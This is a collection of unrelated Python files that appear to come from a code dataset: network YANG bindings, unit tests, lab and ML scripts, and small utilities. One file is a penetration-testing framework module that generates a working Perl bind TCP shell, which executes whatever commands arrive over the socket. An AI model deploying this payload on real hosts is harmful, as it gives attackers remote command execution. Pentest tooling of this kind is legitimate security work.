def _set_igmpl3_query_max_response_time(self, v, load=False): """ Setter method for igmpl3_query_max_response_time, mapped from YANG variable /routing_system/interface/ve/ip/igmp/igmpl3_query_max_response_time (igmp-snooping:qmrt-type) If this variable is read-only (config: false) in the source YANG file, then _set_igmpl3_query_max_response_time is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_igmpl3_query_max_response_time() directly. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1..25']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(10), is_leaf=True, yang_name="igmpl3-query-max-response-time", rest_name="query-max-response-time", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'IGMP Max Query Response Time', u'cli-full-command': None, u'alt-name': u'query-max-response-time'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='igmp-snooping:qmrt-type', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """igmpl3_query_max_response_time must be of a type compatible with igmp-snooping:qmrt-type""", 'defined-type': "igmp-snooping:qmrt-type", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1..25']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(10), is_leaf=True, yang_name="igmpl3-query-max-response-time", rest_name="query-max-response-time", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'IGMP Max Query Response Time', u'cli-full-command': None, u'alt-name': u'query-max-response-time'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='igmp-snooping:qmrt-type', is_config=True)""", }) self.__igmpl3_query_max_response_time = t if hasattr(self, '_set'): self._set() def _unset_igmpl3_query_max_response_time(self): self.__igmpl3_query_max_response_time = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1..25']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(10), is_leaf=True, yang_name="igmpl3-query-max-response-time", rest_name="query-max-response-time", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'IGMP Max Query Response Time', u'cli-full-command': None, u'alt-name': u'query-max-response-time'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='igmp-snooping:qmrt-type', is_config=True) def _get_igmpl3_immediate_leave(self): """ Getter method for igmpl3_immediate_leave, mapped from YANG variable /routing_system/interface/ve/ip/igmp/igmpl3_immediate_leave (empty) """ return self.__igmpl3_immediate_leave def _set_igmpl3_immediate_leave(self, v, load=False): """ Setter method for igmpl3_immediate_leave, mapped from YANG variable /routing_system/interface/ve/ip/igmp/igmpl3_immediate_leave (empty) If this variable is read-only (config: false) in the source YANG file, then _set_igmpl3_immediate_leave is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_igmpl3_immediate_leave() directly. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGBool, is_leaf=True, yang_name="igmpl3-immediate-leave", rest_name="immediate-leave", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Immediate Leave Processing', u'cli-full-command': None, u'alt-name': u'immediate-leave'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='empty', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """igmpl3_immediate_leave must be of a type compatible with empty""", 'defined-type': "empty", 'generated-type': """YANGDynClass(base=YANGBool, is_leaf=True, yang_name="igmpl3-immediate-leave", rest_name="immediate-leave", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Immediate Leave Processing', u'cli-full-command': None, u'alt-name': u'immediate-leave'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='empty', is_config=True)""", }) self.__igmpl3_immediate_leave = t if hasattr(self, '_set'): self._set() def _unset_igmpl3_immediate_leave(self): self.__igmpl3_immediate_leave = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="igmpl3-immediate-leave", rest_name="immediate-leave", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Immediate Leave Processing', u'cli-full-command': None, u'alt-name': u'immediate-leave'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='empty', is_config=True) def _get_igmpl3_version(self): """ Getter method for igmpl3_version, mapped from YANG variable /routing_system/interface/ve/ip/igmp/igmpl3_version (uint32) """ return self.__igmpl3_version def _set_igmpl3_version(self, v, load=False): """ Setter method for igmpl3_version, mapped from YANG variable /routing_system/interface/ve/ip/igmp/igmpl3_version (uint32) If this variable is read-only (config: false) in the source YANG file, then _set_igmpl3_version is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_igmpl3_version() directly. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1..3']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(2), is_leaf=True, yang_name="igmpl3-version", rest_name="version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Version for this interface', u'cli-full-command': None, u'alt-name': u'version'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='uint32', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """igmpl3_version must be of a type compatible with uint32""", 'defined-type': "uint32", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1..3']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(2), is_leaf=True, yang_name="igmpl3-version", rest_name="version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Version for this interface', u'cli-full-command': None, u'alt-name': u'version'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='uint32', is_config=True)""", }) self.__igmpl3_version = t if hasattr(self, '_set'): self._set() def _unset_igmpl3_version(self): self.__igmpl3_version = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1..3']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(2), is_leaf=True, yang_name="igmpl3-version", rest_name="version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Version for this interface', u'cli-full-command': None, u'alt-name': u'version'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='uint32', is_config=True) def _get_ve_igmpl3_static_group(self): """ Getter method for ve_igmpl3_static_group, mapped from YANG variable /routing_system/interface/ve/ip/igmp/ve_igmpl3_static_group (list) """ return self.__ve_igmpl3_static_group def _set_ve_igmpl3_static_group(self, v, load=False): """ Setter method for ve_igmpl3_static_group, mapped from YANG variable /routing_system/interface/ve/ip/igmp/ve_igmpl3_static_group (list) If this variable is read-only (config: false) in the source YANG file, then _set_ve_igmpl3_static_group is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_ve_igmpl3_static_group() directly. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGListType("igmpl3_sg_addr",ve_igmpl3_static_group.ve_igmpl3_static_group, yang_name="ve_igmpl3-static-group", rest_name="static-group", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='igmpl3-sg-addr', extensions={u'tailf-common': {u'callpoint': u'IgmpSviSg', u'cli-suppress-mode': None, u'alt-name': u'static-group', u'info': u'Static Group to be Joined', u'cli-suppress-list-no': None}}), is_container='list', yang_name="ve_igmpl3-static-group", rest_name="static-group", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'IgmpSviSg', u'cli-suppress-mode': None, u'alt-name': u'static-group', u'info': u'Static Group to be Joined', u'cli-suppress-list-no': None}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='list', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """ve_igmpl3_static_group must be of a type compatible with list""", 'defined-type': "list", 'generated-type': """YANGDynClass(base=YANGListType("igmpl3_sg_addr",ve_igmpl3_static_group.ve_igmpl3_static_group, yang_name="ve_igmpl3-static-group", rest_name="static-group", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='igmpl3-sg-addr', extensions={u'tailf-common': {u'callpoint': u'IgmpSviSg', u'cli-suppress-mode': None, u'alt-name': u'static-group', u'info': u'Static Group to be Joined', u'cli-suppress-list-no': None}}), is_container='list', yang_name="ve_igmpl3-static-group", rest_name="static-group", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'IgmpSviSg', u'cli-suppress-mode': None, u'alt-name': u'static-group', u'info': u'Static Group to be Joined', u'cli-suppress-list-no': None}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='list', is_config=True)""", }) self.__ve_igmpl3_static_group = t if hasattr(self, '_set'): self._set() def _unset_ve_igmpl3_static_group(self): self.__ve_igmpl3_static_group = YANGDynClass(base=YANGListType("igmpl3_sg_addr",ve_igmpl3_static_group.ve_igmpl3_static_group, yang_name="ve_igmpl3-static-group", rest_name="static-group", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='igmpl3-sg-addr', extensions={u'tailf-common': {u'callpoint': u'IgmpSviSg', u'cli-suppress-mode': None, u'alt-name': u'static-group', u'info': u'Static Group to be Joined', u'cli-suppress-list-no': None}}), is_container='list', yang_name="ve_igmpl3-static-group", rest_name="static-group", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'IgmpSviSg', u'cli-suppress-mode': None, u'alt-name': u'static-group', u'info': u'Static Group to be Joined', u'cli-suppress-list-no': None}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='list', is_config=True) igmpl3_last_member_query_interval = __builtin__.property(_get_igmpl3_last_member_query_interval, _set_igmpl3_last_member_query_interval) igmpl3_query_interval = __builtin__.property(_get_igmpl3_query_interval, _set_igmpl3_query_interval) igmpl3_query_max_response_time = __builtin__.property(_get_igmpl3_query_max_response_time, _set_igmpl3_query_max_response_time) igmpl3_immediate_leave = __builtin__.property(_get_igmpl3_immediate_leave, _set_igmpl3_immediate_leave) igmpl3_version = __builtin__.property(_get_igmpl3_version, _set_igmpl3_version) ve_igmpl3_static_group = __builtin__.property(_get_ve_igmpl3_static_group, _set_ve_igmpl3_static_group) _pyangbind_elements = {'igmpl3_last_member_query_interval': igmpl3_last_member_query_interval, 'igmpl3_query_interval': igmpl3_query_interval, 'igmpl3_query_max_response_time': igmpl3_query_max_response_time, 'igmpl3_immediate_leave': igmpl3_immediate_leave, 'igmpl3_version': igmpl3_version, 've_igmpl3_static_group': ve_igmpl3_static_group, }
python
import os from mock import Mock from mock import patch from tests.base_unittest import BaseUnitTest from aceonrivergui.server.game_manager import GameManager import aceonrivergui.server.message_manager as MM class MessageManagerTest(BaseUnitTest): def test_broadcast_config_update(self): uuids = ["hoge", "fuga"] sockets = [gen_mock_socket(uuid) for uuid in uuids] with patch( 'aceonrivergui.server.message_manager._gen_config_update_message', side_effect=lambda x, y, uuid: "config_update:%s" % uuid): MM.broadcast_config_update("handler", GameManager(), sockets) for soc, uuid in zip(sockets, uuids): expected = "config_update:%s" % uuid self.eq(expected, soc.write_message.call_args_list[0][0][0]) def test_broadcast_start_game(self): uuids = ["hoge", "fuga"] sockets = [gen_mock_socket(uuid) for uuid in uuids] gm = setup_game_manager(uuids) with patch( 'aceonrivergui.server.message_manager._gen_start_game_message', side_effect=lambda x, y, uuid: "start_game:%s" % uuid): MM.broadcast_start_game("handler", gm, sockets) for soc, uuid in zip(sockets, uuids): expected = "start_game:%s" % uuid self.eq(expected, soc.write_message.call_args_list[0][0][0]) for uuid, player in gm.ai_players.items(): self.eq(uuid, player.uuid) self.eq(3, player.game_info["player_num"]) self.eq(10, player.game_info["rule"]["small_blind_amount"]) self.eq(100, player.game_info["rule"]["initial_stack"]) for player in player.game_info["seats"]: self.eq(100, player["stack"]) def test_broadcast_update_game(self): uuids = ["hoge", "fuga"] sockets = [gen_mock_socket(uuid) for uuid in uuids] gm = setup_game_manager(uuids) list(gm.ai_players.values())[0].debug_message = None gm.update_game("fold", 0) with patch( 'aceonrivergui.server.message_manager._gen_game_update_message', return_value="update_game"),\ patch( 'aceonrivergui.server.message_manager._broadcast_message_to_ai', side_effect=self._append_log_on_player): MM.broadcast_update_game("handler", gm, sockets, mode="dev") for soc, uuid in zip(sockets, uuids): expected = "update_game" self.eq(expected, soc.write_message.call_args_list[0][0][0]) for player in gm.ai_players.values(): self.assertIsNotNone(player.debug_message) def _append_log_on_player(self, player, message): player.debug_message = message ai_setup_script_path = os.path.join(os.path.dirname(__file__), "sample_ai_setup_script.py") def gen_mock_socket(uuid): soc = Mock() soc.uuid = uuid return soc def setup_game_manager(uuids): gm = GameManager() gm.define_rule(10, 100, 10, 5, None) for uuid in uuids: gm.join_human_player("name", uuid) gm.join_ai_player("ai", ai_setup_script_path) gm.start_game() return gm def find_socket_by_uuid(sockets, uuid): for soc in sockets: if soc.uuid == uuid: return soc
python
import qt import numpy as np import os import shutil import sys import progressbar from constants import * fsv = qt.instruments.create('FSV', 'RhodeSchwartz_FSV', address = FSV_ADDRESS) ## FSV parameters center_frequency = 6018.416185*MHz span = 2000*Hz RBW = 10*Hz numpoints = 501 ref_level = -70 #dBm trs = 10 # Prepare FSV fsv.set_centerfrequency(center_frequency) fsv.set_span(span) fsv.set_bandwidth(RBW) fsv.set_sweep_points(numpoints) fsv.set_referencelevel(ref_level) ### SETTING UP DATA FILE data_file_name = raw_input('Enter name of data file: ') data=qt.Data(name=data_file_name) data.add_coordinate('counter', units=' ') data.add_coordinate('Frequency', units='Hz') data.add_value('PSD', units = 'dBm') in_meta = [center_frequency - span/2, center_frequency + span/2, numpoints, 'Frequency (Hz)'] out_meta = [1, 0, trs,'Counter'] for i in np.arange(trs): fsv.run_single() trace= fsv.get_data() dummy = np.linspace(i, i, numpoints) data.add_data_point(dummy, trace[0], trace[1]) data.metagen2D(in_meta, out_meta) data.close_file()
python
""" This script is used to develop a baseline policy using only the observed patient data via Behavior Cloning. This baseline policy is then used to truncate and guide evaluation of policies learned using dBCQ. It should only need to be run once for each unique cohort that one looks to learn a better treatment policy for. The patient cohort used and evaluated in the study this code was built for is defined at: https://github.com/microsoft/mimic_sepsis ============================================================================================================================ This code is provided under the MIT License and is meant to be helpful, but WITHOUT ANY WARRANTY; November 2020 by Taylor Killian and Haoran Zhang; University of Toronto + Vector Institute ============================================================================================================================ Notes: """ # IMPORTS import argparse import os import sys import numpy as np import torch import torch.nn as nn from torch.utils.data import TensorDataset, DataLoader from dqn_utils import BehaviorCloning from utils import prepare_bc_data def run(BC_network, train_dataloader, val_dataloader, num_epochs, storage_dir, loss_func, dem_context, device): # Construct training and validation loops validation_losses = [] training_losses = [] eval_frequency = 100 for i_epoch in range(num_epochs): train_loss = BC_network.train_epoch(train_dataloader, dem_context) training_losses.append(train_loss) if i_epoch % eval_frequency == 0: eval_errors = [] BC_network.model.eval() with torch.no_grad(): for dem, ob, ac, l, t, scores, _, _ in val_dataloader: val_state, val_action = prepare_bc_data(dem, ob, ac, l, t, dem_context) val_state = val_state.to(torch.device(device)) val_action = val_action.to(torch.device(device)) pred_actions = BC_network.model(val_state) try: eval_loss = loss_func(pred_actions, val_action.flatten()) eval_errors.append(eval_loss.item()) except: print("LOL ERRORS") mean_val_loss = np.mean(eval_errors) validation_losses.append(mean_val_loss) np.save(storage_dir+'validation_losses.npy', validation_losses) np.save(storage_dir+'training_losses.npy', training_losses) print(f"Training iterations: {i_epoch}, Validation Loss: {mean_val_loss}") # Save off and store trained BC model if dem_context: torch.save(BC_network.model.state_dict(), storage_dir+'BC_model.pt') else: torch.save(BC_network.model.state_dict(), storage_dir+'BC_model.pt') BC_network.model.train() print("Finished training Behavior Cloning model") print('+='*30) if __name__ == '__main__': # Define input arguments and parameters parser = argparse.ArgumentParser() parser.add_argument('--demographics', dest='dem_context', default=False, action='store_true') parser.add_argument('--num_nodes', dest='num_nodes', default=256, type=int) parser.add_argument('--learning_rate', dest='learning_rate', default=3e-5, type=float) parser.add_argument('--batch_size', dest='batch_size', default=128, type=int) parser.add_argument('--num_epochs', dest='num_epochs', default=500, type=int) parser.add_argument('--weight_decay', dest='weight_decay', default=0.1, type=float) parser.add_argument('--optimizer_type', dest='optim_type', default='adam', type=str) parser.add_argument('--device', dest='device', default='cuda', type=str) parser.add_argument('--num_actions', dest='num_actions', default=25, type=int) parser.add_argument('--train_data_file', dest='train_data_file', default='/home/yong/reinforcement-learning-for-sepsis/data/train_set_tuples', type=str) parser.add_argument('--val_data_file', dest='val_data_file', default='/home/yong/reinforcement-learning-for-sepsis/data/val_set_tuples', type=str) parser.add_argument('--storage_dir', dest='storage_dir', default='/home/yong/reinforcement-learning-for-sepsis/test/', type=str) args = parser.parse_args() device = torch.device(args.device) input_dim = 38 if args.dem_context else 33 num_actions = args.num_actions train_data_file = args.train_data_file val_data_file = args.val_data_file minibatch_size = args.batch_size storage_dir = args.storage_dir train_demog, train_states, train_interventions, train_lengths, train_times, acuities, rewards = torch.load(train_data_file) train_idx = torch.arange(train_demog.shape[0]) train_dataset = TensorDataset(train_demog, train_states, train_interventions,train_lengths,train_times, acuities, rewards, train_idx) train_loader = DataLoader(train_dataset, batch_size= minibatch_size, shuffle=True) val_demog, val_states, val_interventions, val_lengths, val_times, val_acuities, val_rewards = torch.load(val_data_file) val_idx = torch.arange(val_demog.shape[0]) val_dataset = TensorDataset(val_demog, val_states, val_interventions, val_lengths, val_times, val_acuities, val_rewards, val_idx) val_loader = DataLoader(val_dataset, batch_size=minibatch_size, shuffle=False) if not os.path.exists(storage_dir): os.mkdir(storage_dir) # Initialize the BC network BC_network = BehaviorCloning(input_dim, num_actions, args.num_nodes, args.learning_rate, args.weight_decay, args.optim_type, device) loss_func = nn.CrossEntropyLoss() run(BC_network, train_loader, val_loader, args.num_epochs, storage_dir, loss_func, args.dem_context, device)
python
from twisted.internet.defer import inlineCallbacks from zope.interface import implements from vumi.dispatchers.base import BaseDispatchWorker from vumi.middleware import MiddlewareStack from vumi.tests.helpers import ( MessageHelper, PersistenceHelper, WorkerHelper, MessageDispatchHelper, generate_proxies, IHelper, ) class DummyDispatcher(BaseDispatchWorker): class DummyPublisher(object): def __init__(self): self.msgs = [] def publish_message(self, msg): self.msgs.append(msg) def clear(self): self.msgs[:] = [] def __init__(self, config): self.transport_publisher = {} self.transport_names = config.get('transport_names', []) for transport in self.transport_names: self.transport_publisher[transport] = self.DummyPublisher() self.exposed_publisher = {} self.exposed_event_publisher = {} self.exposed_names = config.get('exposed_names', []) for exposed in self.exposed_names: self.exposed_publisher[exposed] = self.DummyPublisher() self.exposed_event_publisher[exposed] = self.DummyPublisher() self._middlewares = MiddlewareStack([]) class DispatcherHelper(object): """ Test helper for dispatcher workers. This helper construct and wraps several lower-level helpers and provides higher-level functionality for dispatcher tests. :param dispatcher_class: The worker class for the dispatcher being tested. :param bool use_riak: Set to ``True`` if the test requires Riak. This is passed to the underlying :class:`~vumi.tests.helpers.PersistenceHelper`. :param \**msg_helper_args: All other keyword params are passed to the underlying :class:`~vumi.tests.helpers.MessageHelper`. """ implements(IHelper) def __init__(self, dispatcher_class, use_riak=False, **msg_helper_args): self.dispatcher_class = dispatcher_class self.worker_helper = WorkerHelper() self.persistence_helper = PersistenceHelper(use_riak=use_riak) self.msg_helper = MessageHelper(**msg_helper_args) self.dispatch_helper = MessageDispatchHelper( self.msg_helper, self.worker_helper) # Proxy methods from our helpers. generate_proxies(self, self.msg_helper) generate_proxies(self, self.worker_helper) generate_proxies(self, self.dispatch_helper) def setup(self): self.persistence_helper.setup() self.worker_helper.setup() @inlineCallbacks def cleanup(self): yield self.worker_helper.cleanup() yield self.persistence_helper.cleanup() def get_dispatcher(self, config, cls=None, start=True): """ Get an instance of a dispatcher class. :param dict config: Config dict. :param cls: The transport class to instantiate. Defaults to :attr:`dispatcher_class` :param bool start: ``True`` to start the dispatcher (default), ``False`` otherwise. """ if cls is None: cls = self.dispatcher_class config = self.persistence_helper.mk_config(config) return self.get_worker(cls, config, start) def get_connector_helper(self, connector_name): """ Construct a :class:`~DispatcherConnectorHelper` for the provided ``connector_name``. """ return DispatcherConnectorHelper(self, connector_name) class DispatcherConnectorHelper(object): """ Subset of :class:`~vumi.tests.helpers.WorkerHelper` and :class:`~vumi.tests.helpers.MessageDispatchHelper` functionality for a specific connector. This should only be created with :meth:`DispatcherHelper.get_connector_helper`. """ def __init__(self, dispatcher_helper, connector_name): self.msg_helper = dispatcher_helper.msg_helper self.worker_helper = WorkerHelper( connector_name, dispatcher_helper.worker_helper.broker) self.dispatch_helper = MessageDispatchHelper( self.msg_helper, self.worker_helper) generate_proxies(self, self.worker_helper) generate_proxies(self, self.dispatch_helper) # We don't want to be able to make workers with this helper. del self.get_worker del self.cleanup_worker
python
test_cases = int(input().strip()) for t in range(1, test_cases + 1): s = input().strip() stack = [] bracket = {'}': '{', ')': '('} result = 1 for letter in s: if letter == '{' or letter == '(': stack.append(letter) elif letter == '}' or letter == ')': if not stack or stack[-1] != bracket.get(letter): result = 0 break else: stack.pop() if stack: result = 0 print('#{} {}'.format(t, result))
python
from typing import Dict, List, Union from icolos.core.containers.compound import Compound from icolos.core.containers.perturbation_map import Edge from icolos.core.workflow_steps.pmx.base import StepPMXBase from pydantic import BaseModel from icolos.utils.enums.program_parameters import ( GromacsEnum, StepPMXEnum, ) from icolos.utils.enums.step_enums import StepGromacsEnum from icolos.utils.execute_external.pmx import PMXExecutor from icolos.utils.general.parallelization import SubtaskContainer import os _PSE = StepPMXEnum() _SGE = StepGromacsEnum() _GE = GromacsEnum() class StepPMXPrepareSimulations(StepPMXBase, BaseModel): """ Prepare the tpr file for either equilibration or production simulations """ def __init__(self, **data): super().__init__(**data) self._initialize_backend(executor=PMXExecutor) def execute(self): if self.run_type == _PSE.RBFE: edges = [e.get_edge_id() for e in self.get_edges()] elif self.run_type == _PSE.ABFE: edges = [c.get_index_string() for c in self.get_compounds()] self.execution.parallelization.max_length_sublists = 1 self._subtask_container = SubtaskContainer( max_tries=self.execution.failure_policy.n_tries ) self._subtask_container.load_data(edges) self._execute_pmx_step_parallel( run_func=self.prepare_simulation, step_id="pmx prepare_simulations", result_checker=self._check_result, ) def prepare_simulation(self, jobs: List[Union[Edge, Compound]]): # define some constants that depend on whether this is rbfe/abfe # for abfe, edge refers to the ligand index # mdp_path = os.path.join(self.work_dir, "input/mdp") sim_type = self.settings.additional[_PSE.SIM_TYPE] # FIXME: how do we get the replicas for abfe jobs without requiring input every time? inspect the workdir? replicas = ( self.get_perturbation_map().replicas if self.get_perturbation_map() is not None else 1 ) for edge in jobs: for state in self.states: for r in range(1, replicas + 1): for wp in self.therm_cycle_branches: toppath = self._get_specific_path( workPath=self.work_dir, edge=edge, wp=wp ) # dir for the current sim type simpath = self._get_specific_path( workPath=self.work_dir, edge=edge, wp=wp, state=state, r=r, sim=sim_type, ) # dir for the previous sim type, from which we get confout.gro prev_type = self._get_previous_sim_type(sim_type) empath = self._get_specific_path( workPath=self.work_dir, edge=edge, wp=wp, state=state, r=r, sim=prev_type, ) self._prepare_single_tpr( simpath, toppath, state, sim_type, empath ) def _get_previous_sim_type(self, sim_type: str): """ Works out where to get starting structure from based on the current run and simulation type """ if self.get_additional_setting(_PSE.PREV_STEP) is not None: return self.get_additional_setting(_PSE.PREV_STEP) elif self.run_type == _PSE.RBFE: if sim_type == "nvt": return "em" elif sim_type == "eq": return "nvt" elif self.run_type == _PSE.ABFE: if sim_type in ("em", "nvt"): return "em" elif sim_type == "npt": return "nvt" elif sim_type == "eq": return "npt" def _check_result(self, batch: List[List[str]]) -> List[List[bool]]: """ Look in each hybridStrTop dir and check the output pdb files exist for the edges """ sim_type = self.settings.additional[_PSE.SIM_TYPE] output_files = [ f"ligand/stateA/run1/{sim_type}/tpr.tpr", f"ligand/stateB/run1/{sim_type}/tpr.tpr", f"complex/stateA/run1/{sim_type}/tpr.tpr", f"complex/stateB/run1/{sim_type}/tpr.tpr", ] results = [] for subjob in batch: subjob_results = [] for job in subjob: subjob_results.append( all( [ os.path.isfile(os.path.join(self.work_dir, job, f)) for f in output_files ] ) ) results.append(subjob_results) return results
python
# Generated by Django 3.2.9 on 2022-02-06 17:56 import ckeditor.fields from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('pet', '0001_initial'), ] operations = [ migrations.AlterField( model_name='pet', name='explanation', field=ckeditor.fields.RichTextField(verbose_name='Açıklama'), ), migrations.AlterField( model_name='pet', name='pet_image', field=models.FileField(blank=True, null=True, upload_to='', verbose_name='Fotoğraf Yükle'), ), ]
python
import cv2 import numpy as np import matplotlib.pyplot as plt # Gabor def Gabor_filter(K_size=111, Sigma=10, Gamma=1.2, Lambda=10, Psi=0, angle=0): # get half size d = K_size // 2 # prepare kernel gabor = np.zeros((K_size, K_size), dtype=np.float32) # each value for y in range(K_size): for x in range(K_size): # distance from center px = x - d py = y - d # degree -> radian theta = angle / 180. * np.pi # get kernel x _x = np.cos(theta) * px + np.sin(theta) * py # get kernel y _y = -np.sin(theta) * px + np.cos(theta) * py # fill kernel gabor[y, x] = np.exp(-(_x**2 + Gamma**2 * _y**2) / (2 * Sigma**2)) * np.cos(2*np.pi*_x/Lambda + Psi) # kernel normalization gabor /= np.sum(np.abs(gabor)) return gabor # get gabor kernel gabor = Gabor_filter(K_size=111, Sigma=10, Gamma=1.2, Lambda=10, Psi=0, angle=0) # Visualize # normalize to [0, 255] out = gabor - np.min(gabor) out /= np.max(out) out *= 255 out = out.astype(np.uint8) #cv2.imwrite("out.jpg", out) cv2.imshow("result", out) cv2.waitKey(0) cv2.destroyAllWindows()
python
from aoc21.days.day04 import Board, BoardScore NUMBERS = [ 7, 4, 9, 5, 11, 17, 23, 2, 0, 14, 21, 24, 10, 16, 13, 6, 25, 12, 22, 18, 20, 8, 19, 3, 26, 1, ] BOARD = Board( [ 22, 13, 17, 11, 0, 8, 2, 23, 4, 24, 21, 9, 14, 16, 7, 6, 10, 3, 18, 5, 1, 12, 20, 15, 19, ] ) def test_board_row(): assert list(BOARD.row(0)) == [22, 13, 17, 11, 0] assert list(BOARD.row(2)) == [21, 9, 14, 16, 7] assert list(BOARD.row(4)) == [1, 12, 20, 15, 19] def test_board_column(): assert list(BOARD.column(0)) == [22, 8, 21, 6, 1] assert list(BOARD.column(2)) == [17, 23, 14, 3, 20] assert list(BOARD.column(4)) == [0, 24, 7, 5, 19] def test_board_draw_until_complete(): final_number = 16 sum_remaining = 137 number_index = 13 assert BOARD.draw_until_complete(NUMBERS) == BoardScore( number_index, final_number * sum_remaining )
python
from maza.core.exploit.option import OptEncoder from maza.core.exploit.payloads import ( GenericPayload, Architectures, BindTCPPayloadMixin, ) from maza.modules.encoders.perl.base64 import Encoder class Payload(BindTCPPayloadMixin, GenericPayload): __info__ = { "name": "Perl Bind TCP", "description": "Creates interactive tcp bind shell by using perl.", "authors": ( "Marcin Bury <marcin[at]threat9.com>", # routersploit module ), } architecture = Architectures.PERL encoder = OptEncoder(Encoder(), "Encoder") def generate(self): return ( "use IO;foreach my $key(keys %ENV){" + "if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(LocalPort," + str(self.rport) + ",Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);while(<>){" + "if($_=~ /(.*)/){system $1;}};" )
python
""" Flask-AntiJs ------------- Flask-AntiJs is a Flask extension the protects endpoints against 'undefined' javascript values by checking the URL, query params and payloads and return a 400 (Bad request) response. """ from setuptools import setup version = "0.0.2" setup( name='Flask-AntiJs', version=version, url='https://github.com/michaelbukachi/flask-antijs', license='BSD', author='Michael Bukachi', author_email='[email protected]', description='An extension to check \'undefined\' JS values', long_description=__doc__, py_modules=['flask_antijs'], platforms='any', install_requires=['Flask'], setup_requires=['pytest-runner', 'wheel', 'twine'], tests_require=['pytest', 'pytest-cov'], keywords='flask antijs', classifiers=[ 'Environment :: Web Environment', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Topic :: Internet :: WWW/HTTP :: Dynamic Content', 'Topic :: Software Development :: Libraries :: Python Modules' ] )
python
